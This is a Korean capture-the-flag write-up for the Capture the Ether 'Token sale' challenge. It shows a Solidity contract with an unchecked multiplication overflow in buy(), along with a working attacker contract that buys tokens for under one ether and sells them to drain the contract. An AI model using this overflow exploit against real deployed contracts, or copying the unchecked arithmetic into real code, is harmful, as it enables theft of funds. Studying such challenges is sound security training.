Capture the ether-Token sale

problem link

pragma solidity ^0.4.21;
 
contract TokenSaleChallenge {
    mapping(address => uint256) public balanceOf;
    uint256 constant PRICE_PER_TOKEN = 1 ether;
 
    function TokenSaleChallenge(address _player) public payable {
        require(msg.value == 1 ether);
    }
 
    function isComplete() public view returns (bool) {
        return address(this).balance < 1 ether;
    }
 
    function buy(uint256 numTokens) public payable {
        require(msg.value == numTokens * PRICE_PER_TOKEN);
 
        balanceOf[msg.sender] += numTokens;
    }
 
    function sell(uint256 numTokens) public {
        require(balanceOf[msg.sender] >= numTokens);
 
        balanceOf[msg.sender] -= numTokens;
        msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
    }
}

초기화하며 넣은 1 이더리움을 빼내야 한다.

풀이

solidity 0.4.21 버전을 이용하기에, SafeMath가 자동으로 적용되지 않는다.

    function buy(uint256 numTokens) public payable {
        require(msg.value == numTokens * PRICE_PER_TOKEN);
 
        balanceOf[msg.sender] += numTokens;
    }

buy 함수에서, numTokens * PRICE_PER_TOKEN 가 msg.value인지 체크하고 있다. PRICE_PER_TOKEN는 1 ether이므로, 사실상 1000000000000000000 이다. numTokens * 1000000000000000000 가 uint256 MAX 값을 넘어 오버플로우 되면, 작은 msg.value 값으로도 큰 numTokens를 설정할 수 있다.

// SPDX-License-Identifier: MIT
 
pragma solidity ^0.7.4;
 
interface TokenSaleChallenge {
    function isComplete() external view returns (bool);
    function buy(uint256 numTokens) external payable;
    function sell(uint256 numTokens) external;
}
 
contract TokenSaleSolver {
    address payable public owner;
    TokenSaleChallenge public problem;
 
    constructor (address _problem) {
        owner = payable(msg.sender);
        problem = TokenSaleChallenge(payable(_problem));
    }
 
    function solve() public payable {
        uint256 UINT_MAX = 2**256 - 1;
        uint256 PRICE_PER_TOKEN = 1 ether;
 
        uint256 val = ((UINT_MAX / PRICE_PER_TOKEN) + 1) * PRICE_PER_TOKEN;
 
        problem.buy{value: val}((UINT_MAX / PRICE_PER_TOKEN) + 1);
 
        problem.sell(1);
 
        extract();
    }
 
    function extract() public {
        owner.transfer(address(this).balance);
    }
 
    receive() external payable { }
}

다음은 공격 코드이다. 오버플로우된 계산을 얻기 위해 solidity 0.8 미만을 이용했다. (UINT_MAX / PRICE_PER_TOKEN) + 1 로, +1 을 통해 오버플로우를 일으킨다. require(msg.value == numTokens * PRICE_PER_TOKEN); 코드에서 numTokens * PRICE_PER_TOKEN 값은 ((UINT_MAX / PRICE_PER_TOKEN) + 1) * PRICE_PER_TOKEN가 되며, 이는 415992086870360064 이다. 이는 0.415992086870360064 ether 로, 이 공격을 통해 받아낼 수 있는 1 ether 보다 적다. 적은 이더를 넣고 더 많은 이더를 꺼낼 수 있다.


tags: writeup, blockchain, solidity, smart contract, integer overflow underflow, solidity safemath